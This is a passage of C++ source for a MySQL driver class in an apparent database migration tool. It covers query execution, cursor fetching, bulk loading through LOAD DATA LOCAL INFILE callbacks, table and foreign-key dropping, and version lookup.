// Reset initialization error text so it will not be later associated with the data transfer
*_native_error_text = '\x0';
return rc;
}
// Disconnect from the database
void SqlMysqlApi::Disconnect()
{
if(_connected == false)
return;
_mysql_close(&_mysql);
_connected = false;
}
// Deallocate the driver
void SqlMysqlApi::Deallocate()
{
Disconnect();
}
// Get row count for the specified object
int SqlMysqlApi::GetRowCount(const char *object, long *count, size_t *time_spent)
{
if(object == NULL)
return -1;
std::string query = "SELECT COUNT(*) FROM ";
query += object;
// Execute the query
int rc = ExecuteScalar(query.c_str(), count, time_spent);
return rc;
}
// Execute the statement and get scalar result
int SqlMysqlApi::ExecuteScalar(const char *query, long *result, size_t *time_spent)
{
if(query == NULL || result == NULL)
return -1;
size_t start = Os::GetTickCount();
// Execute the query
int rc = _mysql_query(&_mysql, query);
// Error raised
if(rc != 0)
{
SetError();
return -1;
}
MYSQL_RES *res = _mysql_use_result(&_mysql);
if(result == NULL)
return -1;
bool exists = false;
// Fetch the first row
MYSQL_ROW row = _mysql_fetch_row(res);
if(row != NULL && row[0] != NULL)
{
sscanf(row[0], "%ld", result);
exists = true;
}
_mysql_free_result(res);
if(time_spent != NULL)
*time_spent = Os::GetTickCount() - start;
return (exists == true) ? 0 : -1;
}
// Execute the statement
int SqlMysqlApi::ExecuteNonQuery(const char *query, size_t *time_spent)
{
size_t start = Os::GetTickCount();
// Execute the query
int rc = _mysql_query(&_mysql, query);
// Error raised
if(rc != 0)
SetError();
if(time_spent != NULL)
*time_spent = Os::GetTickCount() - start;
// mysql_query returns 1 on failure
return (rc == 0) ? 0 : -1;
}
// Open cursor and allocate buffers
int SqlMysqlApi::OpenCursor(const char *query, long buffer_rows, long buffer_memory, long *col_count, long *allocated_array_rows,
long *rows_fetched, SqlCol **cols, size_t *time_spent, bool /*catalog_query*/, std::list<SqlDataTypeMap> * /*dtmap*/)
{
if(query == NULL)
return -1;
size_t start = Os::GetTickCount();
// Execute the query
int rc = _mysql_query(&_mysql, query);
// Error raised
if(rc != 0)
{
SetError();
return -1;
}
_cursor_result = _mysql_use_result(&_mysql);
if(_cursor_result == NULL)
return -1;
// Define the number of columns
_cursor_cols_count = _mysql_num_fields(_cursor_result);
if(_cursor_cols_count > 0)
_cursor_cols = new SqlCol[_cursor_cols_count];
size_t row_size = 0;
MYSQL_FIELD *fields = _mysql_fetch_fields(_cursor_result);
_cursor_lob_exists = false;
// Get column information
for(long i = 0; i < _cursor_cols_count; i++)
{
// Copy column name
strcpy(_cursor_cols[i]._name, fields[i].name);
// Native data type
_cursor_cols[i]._native_dt = fields[i].type;
// Column length in characters (max_length is 0), 11 returned for INT
// len 0 returned for BINARY(0) (MYSQL_TYPE_STRING = 254)
// len -1 returned for LONGTEXT (MYSQL_TYPE_BLOB = 252)
_cursor_cols[i]._len = fields[i].length;
_cursor_cols[i]._binary = (fields[i].flags & BINARY_FLAG) ? true : false;
// DECIMAL or NUMERIC
if(_cursor_cols[i]._native_dt == MYSQL_TYPE_NEWDECIMAL || _cursor_cols[i]._native_dt == MYSQL_TYPE_DECIMAL)
{
_cursor_cols[i]._scale = (int)fields[i].decimals;
// If decimals is 0 length contain precision + 1, if <> 0, length contains precision + scale
if(fields[i].decimals == 0)
_cursor_cols[i]._precision = (int)_cursor_cols[i]._len - 1;
else
_cursor_cols[i]._precision = (int)(_cursor_cols[i]._len - _cursor_cols[i]._scale);
}
else
// MYSQL_TYPE_BLOB returned for BLOB, TEXT, LONGTEXT (MySQL 5.5); BINARY_FLAG is set for BLOBs
if(_cursor_cols[i]._native_dt == MYSQL_TYPE_BLOB)
{
_cursor_cols[i]._lob = true;
_cursor_lob_exists = true;
}
// len is -1 for LONGTEXT, do not allocate space in the buffer
// Note 4294967295 returned on 64-bit system, and it is not equal -1
if(_cursor_cols[i]._len != -1 && _cursor_cols[i]._len < 1000000000)
row_size += _cursor_cols[i]._len;
// NOT NULL attribute
_cursor_cols[i]._nullable = (fields[i].flags & NOT_NULL_FLAG) ? false : true;
}
_cursor_allocated_rows = 1;
// Define how many rows fetch at once
if(buffer_rows > 0)
_cursor_allocated_rows = buffer_rows;
else
if(buffer_memory > 0)
{
// Avoid 0 rows size when only CHAR(0), BINARY(0) or LONGTEXT columns in table
if(row_size == 0)
row_size++;
long rows = buffer_memory/row_size;
_cursor_allocated_rows = rows > 0 ? rows : 1;
}
if(_cursor_lob_exists == true)
_cursor_allocated_rows = 1;
// Allocate buffers to each column
for(int i = 0; i < _cursor_cols_count; i++)
{
_cursor_cols[i]._native_fetch_dt = _cursor_cols[i]._native_dt;
// Do not allocate space for LONGTEXT, LONGBLOB columns, but allocate for BLOB and TEXT (65,535 bytes)
if(_cursor_cols[i]._len != -1 && _cursor_cols[i]._len < 1000000000)
{
_cursor_cols[i]._fetch_len = _cursor_cols[i]._len + 1;
_cursor_cols[i]._data = new char[_cursor_cols[i]._fetch_len * _cursor_allocated_rows];
}
_cursor_cols[i].ind = new long[_cursor_allocated_rows];
}
long fetched = 0;
// Fetch initial set of data
rc = Fetch(&fetched, NULL);
if(col_count != NULL)
*col_count = _cursor_cols_count;
if(allocated_array_rows != NULL)
*allocated_array_rows = _cursor_allocated_rows;
if(rows_fetched != NULL)
*rows_fetched = fetched;
if(cols != NULL)
*cols = _cursor_cols;
if(time_spent != NULL)
*time_spent = Os::GetTickCount() - start;
return 0;
}
// Fetch next portion of data to allocate buffers
int SqlMysqlApi::Fetch(long *rows_fetched, size_t *time_spent)
{
MYSQL_ROW row = NULL;
int fetched = 0;
size_t start = Os::GetTickCount();
// Fill the buffer
for(long i = 0; i < _cursor_allocated_rows; i++)
{
// Fetch the next row
row = _mysql_fetch_row(_cursor_result);
if(row == NULL)
break;
unsigned long *lengths = (unsigned long*)_mysql_fetch_lengths(_cursor_result);
// Copy column values and set indicators
for(long k = 0; k < _cursor_cols_count; k++)
{
// Check for NULL value
if(row[k] == NULL)
{
_cursor_cols[k].ind[i] = (size_t)-1;
continue;
}
else
_cursor_cols[k].ind[i] = (size_t)lengths[k];
char *data = NULL;
// Column data
if(_cursor_cols[k]._data != NULL)
data = _cursor_cols[k]._data + _cursor_cols[k]._fetch_len * i;
bool copy = true;
// Check for zero date 0000-00-00
if(row[k] != NULL && _cursor_cols[k]._native_dt == MYSQL_TYPE_DATE)
{
// Change to NULL
if(strcmp(row[k], "0000-00-00") == 0)
{
_cursor_cols[k].ind[i] = (size_t)-1;
copy = false;
}
}
else
// Check for zero datetime 0000-00-00 00:00:00
if(row[k] != NULL && _cursor_cols[k]._native_dt == MYSQL_TYPE_DATETIME)
{
// Change to NULL
if(strcmp(row[k], "0000-00-00 00:00:00") == 0)
{
_cursor_cols[k].ind[i] = (size_t)-1;
copy = false;
}
}
// Copy data (LONGBLOB and LONGTEXT are not copied if they transferred as LOBs to the target)
if(data != NULL && copy == true)
memcpy(data, row[k], lengths[k]);
}
fetched++;
}
if(rows_fetched != NULL)
*rows_fetched = fetched;
if(time_spent != NULL)
*time_spent = GetTickCount() - start;
return 0;
}
// Close the cursor and deallocate buffers
int SqlMysqlApi::CloseCursor()
{
if(_cursor_result != NULL)
_mysql_free_result(_cursor_result);
_cursor_result = NULL;
if(_cursor_cols == NULL)
return 0;
// Delete allocated buffers
for(int i = 0; i < _cursor_cols_count; i++)
{
delete [] _cursor_cols[i]._data;
delete [] _cursor_cols[i].ind;
}
delete [] _cursor_cols;
_cursor_cols = NULL;
_cursor_cols_count = 0;
_cursor_allocated_rows = 0;
return 0;
}
// Initialize the bulk copy from one database into another
int SqlMysqlApi::InitBulkTransfer(const char *table, long col_count, long /*allocated_array_rows*/, SqlCol * /*s_cols*/, SqlCol ** /*t_cols*/)
{
TRACE("MySQL/C InitBulkTransfer() Entered");
// Column metadata and data passed directly to TransferRows
_ldi_cols = NULL;
_ldi_cols_count = col_count;
_load_command = "LOAD DATA LOCAL INFILE 'sqldata.in_memory' IGNORE INTO TABLE ";
_load_command += table;
TRACE(_load_command.c_str());
TRACE_DMP_INIT(table);
// Counters must be reset to clear data for the previous table
_ldi_rc = 0;
_ldi_terminated = 0;
_ldi_current_row = 0;
_ldi_current_col = 0;
_ldi_current_col_len = 0;
_ldi_write_newline = false;
_ldi_lob_data = NULL;
_ldi_lob_size = 0;
_ldi_bytes = 0;
_ldi_bytes_all = 0;
#if defined(WIN32) || defined(WIN64)
ResetEvent(_wait_event);
ResetEvent(_completed_event);
// Run blocking LOAD DATA INFILE command in a separate thread
_beginthreadex(NULL, 0, StartLoadDataInfileS, this, 0, NULL);
// Wait until the thread started
WaitForSingleObject(_completed_event, INFINITE);
#else
Os::ResetEvent(&_wait_event);
Os::ResetEvent(&_completed_event);
pthread_t thread;
pthread_create(&thread, NULL, StartLoadDataInfileS, this);
Os::WaitForEvent(&_completed_event);
#endif
TRACE("MySQL/C InitBulkTransfer() Left");
// Return code typically 0 as init function waits for LDI thread to start only, but in case cases init can catch LDI errors
return _ldi_rc;
}
// Transfer rows between databases
int SqlMysqlApi::TransferRows(SqlCol *s_cols, long rows_fetched, long *rows_written, size_t *bytes_written,
size_t *time_spent)
{
if(rows_fetched == 0)
return 0;
TRACE("MySQL/C TransferRows() Entered");
size_t start = Os::GetTickCount();
_ldi_rows_count = rows_fetched;
_ldi_cols = s_cols;
_ldi_current_row = 0;
_ldi_current_col = 0;
_ldi_current_col_len = 0;
_ldi_write_newline = false;
_ldi_bytes = 0;
// Notify that the new portion of data is available
#if defined(WIN32) || defined(_WIN64)
SetEvent(_wait_event);
// Wait until it processed
WaitForSingleObject(_completed_event, INFINITE);
#else
Os::SetEvent(&_wait_event);
Os::WaitForEvent(&_completed_event);
#endif
if(time_spent)
*time_spent = GetTickCount() - start;
if(rows_written != NULL)
*rows_written = rows_fetched;
if(bytes_written != NULL)
*bytes_written = (size_t)_ldi_bytes;
if(time_spent)
*time_spent = GetTickCount() - start;
TRACE("MySQL/C TransferRows() Left");
// Return code should remain 0 until bloking LDI call terminates
return _ldi_rc;
}
// Write LOB data
int SqlMysqlApi::WriteLob(SqlCol * /*s_cols*/, int /*row*/, int * /*lob_bytes*/)
{
return -1;
}
// LOAD DATA INFILE callbacks
int SqlMysqlApi::local_infile_read(char *buf, unsigned int buf_len)
{
TRACE_P("MySQL/C LOAD DATA INFILE Read callback() Entered, buffer size is %d bytes", buf_len);
// Wait until a new portion of data is available (_ldi_cols is NULL when first callback is called before TransferRows called)
if(_ldi_cols == NULL || (_ldi_current_row == 0 && _ldi_current_col == 0 && _ldi_current_col_len == 0))
{
TRACE("MySQL/C LOAD DATA INFILE Read callback() Waiting for data");
#if defined(WIN32) || defined(_WIN64)
WaitForSingleObject(_wait_event, INFINITE);
#else
Os::WaitForEvent(&_wait_event);
#endif
TRACE("MySQL/C LOAD DATA INFILE Read callback() Data arrived");
}
// EOF condition
if(_ldi_current_row == -1)
{
TRACE("MySQL/C LOAD DATA INFILE Read callback() Left with EOF condition");
// Completion event will be set in the thread executing LOAD DATA INFILE
return 0;
}
char *cur = buf;
unsigned int remain_len = buf_len;
// Check whether newline was not written for the previous row
if(_ldi_write_newline == true)
{
*cur = '\n';
cur++;
remain_len--;
_ldi_bytes++;
_ldi_bytes_all++;
_ldi_write_newline = false;
}
// Copy rows
for(long i = _ldi_current_row; i < _ldi_rows_count; i++, _ldi_current_row++)
{
// Copy column data
for(long k = _ldi_current_col; k < _ldi_cols_count; k++, _ldi_current_col++)
{
// Add column delimiter if we are not in the middle of column
if(k > 0 && _ldi_current_col_len == 0)
{
if(remain_len >= 1)
{
*cur = '\t';
cur++;
remain_len--;
_ldi_bytes++;
_ldi_bytes_all++;
}
else
{
TRACE_P("MySQL/C LOAD DATA INFILE Read callback() Left - middle of batch, %d bytes chunk, %d bytes all", (int)(cur - buf), _ldi_bytes_all);
TRACE_DMP(buf, (unsigned int)(cur - buf));
return (int)(cur - buf);
}
}
long len = -1;
// Check whether column is null
if(_source_api_type == SQLDATA_ORACLE && _ldi_cols[k]._ind2 != NULL)
{
if(_ldi_cols[k]._ind2[i] != -1)
{
// LOB column
if(_ldi_cols[k]._native_fetch_dt == SQLT_BLOB || _ldi_cols[k]._native_fetch_dt == SQLT_CLOB)
{
// Get the size and read LOB value when just switched to new column
if(_ldi_current_col_len == 0)
{
// Get the LOB size in bytes for BLOB, in characters for CLOB
int lob_rc = _source_api_provider->GetLobLength(i, k, &_ldi_lob_size);
// Probably empty LOB
if(lob_rc != -1)
len = (int)_ldi_lob_size;
if(lob_rc != -1 && _ldi_lob_size > 0)
{
long alloc_size = 0;
long read_size = 0;
_ldi_lob_data = _source_api_provider->GetLobBuffer(i, k, _ldi_lob_size, &alloc_size);
// Get LOB content
lob_rc = _source_api_provider->GetLobContent(i, k, _ldi_lob_data, alloc_size, &read_size);
if(lob_rc == 0)
{
// Now set the size in bytes for both CLOB and BLOB
_ldi_lob_size = read_size;
len = read_size;
}
// Error reading LOB
else
{
_source_api_provider->FreeLobBuffer(_ldi_lob_data);
_ldi_lob_data = NULL;
_ldi_lob_size = 0;
}
}
}
else
len = (int)_ldi_lob_size;
}
// Not a LOB column
else
len = _ldi_cols[k]._len_ind2[i];
}
}
else
// Sybase ASE
if(_source_api_type == SQLDATA_SYBASE && _ldi_cols[k]._ind2 != NULL)
{
if(_ldi_cols[k]._ind2[i] != -1)
len = _ldi_cols[k]._len_ind4[i];
}
else
// ODBC indicator contains either NULL or length
if((_source_api_type == SQLDATA_INFORMIX || _source_api_type == SQLDATA_DB2 ||
_source_api_type == SQLDATA_SQL_SERVER || _source_api_type == SQLDATA_ODBC)
&& _ldi_cols[k].ind != NULL)
{
len = (int)_ldi_cols[k].ind[i];
#if defined(_WIN64)
// DB2 11 64-bit CLI driver still writes indicators to 4-byte array
if(_source_api_type == SQLDATA_DB2 && _ldi_cols[k].ind[0] & 0xFFFFFFFF00000000)
len = ((int*)(_ldi_cols[k].ind))[i];
#endif
}
bool no_space = false;
// Write NULL value
if(len == -1)
{
if(remain_len >= 2)
{
cur[0] = '\\'; cur[1] = 'N';
cur += 2;
remain_len -= 2;
_ldi_bytes += 2;
_ldi_bytes_all += 2;
}
else
no_space = true;
}
else
// Oracle CHAR, VARCHAR2, CLOB and BLOB
if((_source_api_type == SQLDATA_ORACLE && (_ldi_cols[k]._native_fetch_dt == SQLT_STR ||
_ldi_cols[k]._native_fetch_dt == SQLT_BLOB || _ldi_cols[k]._native_fetch_dt == SQLT_CLOB ||
_ldi_cols[k]._native_fetch_dt == SQLT_BIN || _ldi_cols[k]._native_fetch_dt == SQLT_LNG)) ||
// Sybase CHAR
(_source_api_type == SQLDATA_SYBASE && _ldi_cols[k]._native_fetch_dt == CS_CHAR_TYPE) ||
// ODBC CHAR
((_source_api_type == SQLDATA_ODBC || _source_api_type == SQLDATA_INFORMIX ||
_source_api_type == SQLDATA_DB2 || _source_api_type == SQLDATA_SQL_SERVER) &&
_ldi_cols[k]._native_fetch_dt == SQL_C_CHAR))
{
// Copy data
for(long m = _ldi_current_col_len; m < len; m++)
{
char c = 0;
// Not LOB data
if(_ldi_lob_data == 0)
c = (_ldi_cols[k]._data + _ldi_cols[k]._fetch_len * i)[m];
else
c = _ldi_lob_data[m];
// Duplicate escape \ character
if(c == '\\')
{
if(remain_len >= 2)
{
cur[0] = c;
cur[1] = c;
cur += 2;
remain_len -= 2;
_ldi_bytes += 2;
_ldi_bytes_all += 2;
// Only one char of source data read
_ldi_current_col_len++;
}
else
{
no_space = true;
break;
}
}
// Newline and tab must be escaped
else
if(c == '\n' || c == '\t')
{
if(remain_len >= 2)
{
cur[0] = '\\';
cur[1] = (c == '\n') ? 'n' : 't';
cur += 2;
remain_len -= 2;
_ldi_bytes += 2;
_ldi_bytes_all += 2;
// Only one char of source data read
_ldi_current_col_len++;
}
else
{
no_space = true;
break;
}
}
else
if(remain_len >= 1)
{
*cur = c;
cur++;
remain_len--;
_ldi_bytes++;
_ldi_bytes_all++;
_ldi_current_col_len++;
}
else
{
no_space = true;
break;
}
}
// All column data were written
if(no_space == false)
{
_ldi_current_col_len = 0;
if(_ldi_lob_data != NULL)
{
_source_api_provider->FreeLobBuffer(_ldi_lob_data);
_ldi_lob_data = NULL;
_ldi_lob_size = 0;
}
}
}
else
// Oracle DATE fetched as 7 byte binary sequence
if(_source_api_type == SQLDATA_ORACLE && _ldi_cols[k]._native_fetch_dt == SQLT_DAT)
{
if(remain_len >= 19)
{
// Unsigned required for proper conversion to int
unsigned char *data = (unsigned char*)(_ldi_cols[k]._data + _ldi_cols[k]._fetch_len * i);
int c = ((int)data[0]) - 100;
int y = ((int)data[1]) - 100;
int m = (int)data[2];
int d = (int)data[3];
int h = ((int)data[4]) - 1;
int mi = ((int)data[5]) - 1;
int s = ((int)data[6]) - 1;
// Get string representation
Str::Dt2Ch(c, cur);
Str::Dt2Ch(y, cur + 2);
cur[4] = '-';
Str::Dt2Ch(m, cur + 5);
cur[7] = '-';
Str::Dt2Ch(d, cur + 8);
cur[10] = ' ';
Str::Dt2Ch(h, cur + 11);
cur[13] = ':';
Str::Dt2Ch(mi, cur + 14);
cur[16] = ':';
Str::Dt2Ch(s, cur + 17);
cur += 19;
remain_len -= 19;
_ldi_bytes += 19;
_ldi_bytes_all += 19;
}
else
no_space = true;
}
else
// ODBC TIMESTAMP fetched as SQL_TIMESTAMP_STRUCT
if((_source_api_type == SQLDATA_SQL_SERVER || _source_api_type == SQLDATA_DB2 ||
_source_api_type == SQLDATA_INFORMIX || _source_api_type == SQLDATA_ASA ||
_source_api_type == SQLDATA_ODBC) && _ldi_cols[k]._native_fetch_dt == SQL_C_TYPE_TIMESTAMP)
{
if(remain_len >= 26)
{
size_t offset = sizeof(SQL_TIMESTAMP_STRUCT) * i;
// Informix returns '1200-01-01 11:11:00.0' for 11:11 (HOUR TO MINUTE)
SQL_TIMESTAMP_STRUCT *ts = (SQL_TIMESTAMP_STRUCT*)(_ldi_cols[k]._data + offset);
long fraction = (long)ts->fraction;
// In ODBC, fraction is stored in nanoseconds, but now we support only microseconds
fraction = fraction/1000;
// Convert SQL_TIMESTAMP_STRUCT to string
Str::SqlTs2Str((short)ts->year, (short)ts->month, (short)ts->day, (short)ts->hour, (short)ts->minute, (short)ts->second, fraction, cur);
cur += 26;
remain_len -= 26;
_ldi_bytes += 26;
_ldi_bytes_all += 26;
}
else
no_space = true;
}
// There is no space to write the column value
if(no_space)
{
// If it is non-first column and 0 bytes were written, remove column delimiter
if(k > 0 && _ldi_current_col_len == 0)
{
cur--;
remain_len++;
_ldi_bytes--;
_ldi_bytes_all--;
}
TRACE_P("MySQL/C LOAD DATA INFILE Read callback() Left - middle of batch, %d bytes chunk, %d bytes all", (int)(cur - buf), _ldi_bytes_all);
TRACE_DMP(buf, (unsigned int)(cur - buf));
return (int)(cur - buf);
}
}
_ldi_current_col = 0;
// Add row delimiter (no need to write \r for Windows)
if(remain_len >= 1)
{
*cur = '\n';
cur++;
remain_len--;
_ldi_bytes++;
_ldi_bytes_all++;
}
else
{
_ldi_write_newline = true;
_ldi_current_row++;
_ldi_current_col = 0;
_ldi_current_col_len = 0;
TRACE_P("MySQL/C LOAD DATA INFILE Read callback() Left - middle of batch, %d bytes chunk, %d bytes all", (int)(cur - buf), _ldi_bytes_all);
TRACE_DMP(buf, (unsigned int)(cur - buf));
return (int)(cur - buf);
}
}
_ldi_current_row = 0;
_ldi_current_col = 0;
_ldi_current_col_len = 0;
// Notify that the new portion of data processed
#if defined(WIN32) || defined(_WIN64)
SetEvent(_completed_event);
#else
Os::SetEvent(&_completed_event);
#endif
TRACE_P("MySQL/C LOAD DATA INFILE Read callback() Left - Batch fully loaded, %d bytes last chunk, %d bytes batch, %d bytes all",
(int)(cur - buf), _ldi_bytes, _ldi_bytes_all);
TRACE_DMP(buf, (unsigned int)(cur - buf));
return (int)(cur - buf);
}
void SqlMysqlApi::local_infile_end(void * /*ptr*/)
{
TRACE("MySQL/C LOAD DATA INFILE - End callback()");
return;
}
int SqlMysqlApi::local_infile_error(void * /*ptr*/, char * /*error_msg*/, unsigned int /*error_msg_len*/)
{
TRACE("MySQL/C LOAD DATA INFILE - Error callback()");
return 0;
}
int SqlMysqlApi::local_infile_initS(void **ptr, const char * /*filename*/, void *userdata)
{
TRACE_S(((SqlMysqlApi*)userdata), "MySQL/C LOAD DATA INFILE Init callback()");
// Pass pointer to the API object
*ptr = userdata;
return 0;
}
int SqlMysqlApi::local_infile_readS(void *ptr, char *buf, unsigned int buf_len)
{
if(ptr == NULL)
return -1;
SqlMysqlApi *mysqlApi = (SqlMysqlApi*)ptr;
return mysqlApi->local_infile_read(buf, buf_len);
}
void SqlMysqlApi::local_infile_endS(void *ptr)
{
SqlMysqlApi *mysqlApi = (SqlMysqlApi*)ptr;
if(mysqlApi != NULL)
mysqlApi->local_infile_end(ptr);
}
int SqlMysqlApi::local_infile_errorS(void *ptr, char *error_msg, unsigned int error_msg_len)
{
SqlMysqlApi *mysqlApi = (SqlMysqlApi*)ptr;
if(mysqlApi != NULL)
mysqlApi->local_infile_error(ptr, error_msg, error_msg_len);
return 0;
}
#if defined(WIN32) || defined(WIN64)
unsigned int __stdcall SqlMysqlApi::StartLoadDataInfileS(void *object)
{
if(object == NULL)
return (unsigned int)-1;
#else
void* SqlMysqlApi::StartLoadDataInfileS(void *object)
{
if(object == NULL)
return NULL;
#endif
SqlMysqlApi *mysqlApi = (SqlMysqlApi*)object;
TRACE_S(mysqlApi, "MySQL/C StartLoadDataInfileS() Entered");
// Notify InitBulkCopy that the thread started
#if defined(WIN32) || defined(WIN64)
SetEvent(mysqlApi->_completed_event);
#else
Os::SetEvent(&mysqlApi->_completed_event);
#endif
mysqlApi->_ldi_terminated = 0;
// Execute LOAD DATA INFILE command
mysqlApi->_ldi_rc = mysqlApi->ExecuteNonQuery(mysqlApi->_load_command.c_str(), NULL);
mysqlApi->_ldi_terminated = 1;
// Release thread called CloseBulkTransfer, so this connection can be used by other functions
// If the table does not exist ExecuteNonQuery returns immediately, so notify TransferRows
#if defined(WIN32) || defined(WIN64)
SetEvent(mysqlApi->_completed_event);
#else
Os::SetEvent(&mysqlApi->_completed_event);
#endif
TRACE_S(mysqlApi, "MySQL/C StartLoadDataInfileS() Left");
#if defined(WIN32) || defined(WIN64)
return (unsigned int)mysqlApi->_ldi_rc;
#else
return NULL;
#endif
}
// Complete bulk transfer
int SqlMysqlApi::CloseBulkTransfer()
{
TRACE("MySQL/C CloseBulkTransfer() Entered");
_ldi_current_row = -1;
// Do not wait for complete event if LOAD DATA INFILE command already ended
if(_ldi_terminated == 0)
{
// Notify that there are no more rows
#if defined(WIN32) || defined(WIN64)
SetEvent(_wait_event);
// Wait until it processed
WaitForSingleObject(_completed_event, INFINITE);
#else
Os::SetEvent(&_wait_event);
Os::WaitForEvent(&_completed_event);
#endif
}
// Check warnings and errors
ShowWarnings(_load_command.c_str());
TRACE("MySQL/C CloseBulkTransfer() Left");
return 0;
}
// Execute SHOW WARNINGS and log results
void SqlMysqlApi::ShowWarnings(const char *prefix)
{
long col_count = 0;
long allocated_rows = 0;
long rows_fetched = 0;
SqlCol *cols = NULL;
int rc = OpenCursor("SHOW WARNINGS", 100, 0, &col_count, &allocated_rows, &rows_fetched, &cols, NULL, true);
if(rc >= 0 && rows_fetched > 0)
{
LOG_P("\n SHOW WARNINGS: %s", prefix);
for(int i = 0; i < rows_fetched; i++)
{
std::string warn = "\n ";
SQLLEN len = (SQLLEN)cols[0].ind[i];
// Level
if(len != -1)
{
warn += cols[0]._name;
warn += ": ";
warn.append(cols[0]._data + cols[0]._fetch_len * i, (size_t)len);
warn += "; ";
}
len = (SQLLEN)cols[1].ind[i];
// Code
if(len != -1)
{
warn += cols[1]._name;
warn += ": ";
warn.append(cols[1]._data + cols[1]._fetch_len * i, (size_t)len);
warn += "; ";
}
len = (SQLLEN)cols[2].ind[i];
// Code
if(len != -1)
{
warn += cols[2]._name;
warn += ": ";
warn.append(cols[2]._data + cols[2]._fetch_len * i, (size_t)len);
}
LOG(warn.c_str());
}
}
CloseCursor();
}
// Drop the table
int SqlMysqlApi::DropTable(const char* table, size_t *time_spent, std::string &drop_stmt)
{
size_t start = Os::GetTickCount();
// Table may be referenced by other tables, so remove foreign keys
int rc = DropReferences(table, NULL);
drop_stmt = "DROP TABLE IF EXISTS ";
drop_stmt += table;
rc = ExecuteNonQuery(drop_stmt.c_str(), NULL);
if(time_spent)
*time_spent = Os::GetTickCount() - start;
return rc;
}
// Remove foreign key constraints referencing to the parent table
int SqlMysqlApi::DropReferences(const char* table, size_t *time_spent)
{
if(table == NULL)
return -1;
size_t start = Os::GetTickCount();
std::string db;
std::string object;
// Table can contain the database name
SplitQualifiedName(table, db, object);
std::list<std::string> drop_fk;
// Query to find foreign keys on the table (this query takes 5-8 sec on first call even if there are 3 rows in the whole table)
// INNODB_STATS_ON_METADATA=0 is set to significantly speed up access to INFORMATION_SCHEMA views
// (about 5-10 times faster from 5-10 sec to 0.5-1 sec). But this requires SUPER privilege and may be OFF
std::string query = "SELECT constraint_name, table_name FROM information_schema.referential_constraints ";
query += "WHERE referenced_table_name = '";
query += object;
query += "'";
// Execute the query
int rc = _mysql_query(&_mysql, query.c_str());
// Error raised
if(rc != 0)
{
SetError();
return -1;
}
MYSQL_RES *res = _mysql_use_result(&_mysql);
if(res == NULL)
return -1;
MYSQL_ROW row = NULL;
bool more = true;
while(more)
{
// Fetch the next row
row = _mysql_fetch_row(res);
if(row == NULL)
{
more = false;
break;
}
std::string drop = "ALTER TABLE ";
drop += row[1];
drop += " DROP FOREIGN KEY ";
drop += row[0];
// Add drop foreign key statement
drop_fk.push_back(drop);
}
_mysql_free_result(res);
// Drop foreign key constraints
for(std::list<std::string>::iterator i = drop_fk.begin(); i != drop_fk.end(); i++)
{
// If at least one FK drop fails the table cannot be dropped
rc = ExecuteNonQuery((*i).c_str(), NULL);
if(rc == -1)
break;
}
if(time_spent != NULL)
*time_spent = Os::GetTickCount() - start;
// mysql_query returns 1 on failure
return (rc == 0) ? 0 : -1;
}
// Get the length of LOB column in the open cursor
int SqlMysqlApi::GetLobLength(long /*row*/, long /*column*/, long * /*length*/)
{
return -1;
}
// Get LOB content
int SqlMysqlApi::GetLobContent(long /*row*/, long /*column*/, void * /*data*/, long /*length*/, long * /*len_ind*/)
{
return -1;
}
// Get the list of available tables
int SqlMysqlApi::GetAvailableTables(std::string &table_template, std::string & /*exclude*/,
std::list<std::string> &tables)
{
std::string condition;
// Get a condition to select objects from the catalog
// MySQL contains the database name in "table_schema" column
GetSelectionCriteria(table_template.c_str(), "table_schema", "table_name", condition, _db.c_str(), false);
// Build the query
std::string query = "SELECT table_schema, table_name FROM information_schema.tables";
query += " WHERE table_type='BASE TABLE'";
query += " AND table_schema NOT IN ('information_schema', 'mysql', 'performance_schema')";
// Add filter
if(condition.empty() == false)
{
query += " AND ";
query += condition;
}
// Execute the query
int rc = _mysql_query(&_mysql, query.c_str());
// Error raised
if(rc != 0)
{
SetError();
return -1;
}
MYSQL_RES *res = _mysql_use_result(&_mysql);
if(res == NULL)
return -1;
bool more = true;
while(more)
{
// Fetch the row
MYSQL_ROW row = _mysql_fetch_row(res);
// We must fetch all rows to avoid "out of sync" errors
if(row == NULL)
{
more = false;
break;
}
std::string tab;
// Schema name
if(row[0] != NULL)
{
tab += row[0];
tab += ".";
}
// Table name
if(row[1] != NULL)
tab += row[1];
tables.push_back(tab);
}
_mysql_free_result(res);
return 0;
}
// Read schema information
int SqlMysqlApi::ReadSchema(const char * /*select*/, const char * /*exclude*/, bool /*read_cns*/, bool /*read_idx*/)
{
return -1;
}
// Get table name by constraint name
int SqlMysqlApi::ReadConstraintTable(const char * /*schema*/, const char * /*constraint*/, std::string & /*table*/)
{
return -1;
}
// Read information about constraint columns
int SqlMysqlApi::ReadConstraintColumns(const char * /*schema*/, const char * /*table*/, const char * /*constraint*/, std::string & /*cols*/)
{
return -1;
}
// Set version of the connected database
void SqlMysqlApi::SetVersion()
{
// Note: INFORMATION_SCHEMA.GLOBAL_VARIABLES is available since 5.1 only
// Returns 4 rows and 2 columns: Variable_name and Value
// 5.5.15 MySQL Community Server (GPL) x86 Win32
const char *query = "SHOW VARIABLES LIKE 'VERSION%'";
// Execute the query
int rc = _mysql_query(&_mysql, query);
// Error raised
if(rc != 0)
{
SetError();
return;
}
MYSQL_RES *res = _mysql_use_result(&_mysql);
if(res == NULL)
return;
_version.clear();
int i = 0;
bool more = true;
while(more)
{
// Fetch the row
MYSQL_ROW row = _mysql_fetch_row(res);
if(row == NULL || row[1] == NULL)
{
more = false;
break;
}
if(i > 0)
_version += " ";
// row[1] contains 2nd column as a null-terminated string
_version += row[1];
// Set version numbers
if(row[0] != NULL && strcmp(row[0], "version") == 0)
{
sscanf(row[1], "%d.%d.%d", &_version_major, &_version_minor, &_version_release);
}
i++;
}
_mysql_free_result(res);
}
// Find MySQL installation paths
void SqlMysqlApi::FindMysqlPaths()
{
#if defined(WIN32) || defined(_WIN64)
HKEY hKey, hSubkey;
// Main key is "Software\\MySQL AB" for MySQL 5.5 and 5.6
// MySQL Installer for MySQL 5.7 puts keys even for 64-bit version to "Software\\WOW6432Node\\MySQL AB"
char *keys[] = { "Software\\MySQL AB", "Software\\WOW6432Node\\MySQL AB" };
char key[1024];
char location[1024];
for(int k = 0; k < 2; k++)
{
int rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, keys[k], 0, KEY_READ | KEY_ENUMERATE_SUB_KEYS, &hKey);
if(rc != ERROR_SUCCESS)
return;
DWORD i = 0;
bool more = true;
// Enumerate through all keys
while(more)
{
// Size modified with each call to RegEnumKeyEx
int size = 1024;
// Get next key
rc = RegEnumKeyEx(hKey, i, key, (LPDWORD)&size, NULL, NULL, NULL, NULL);
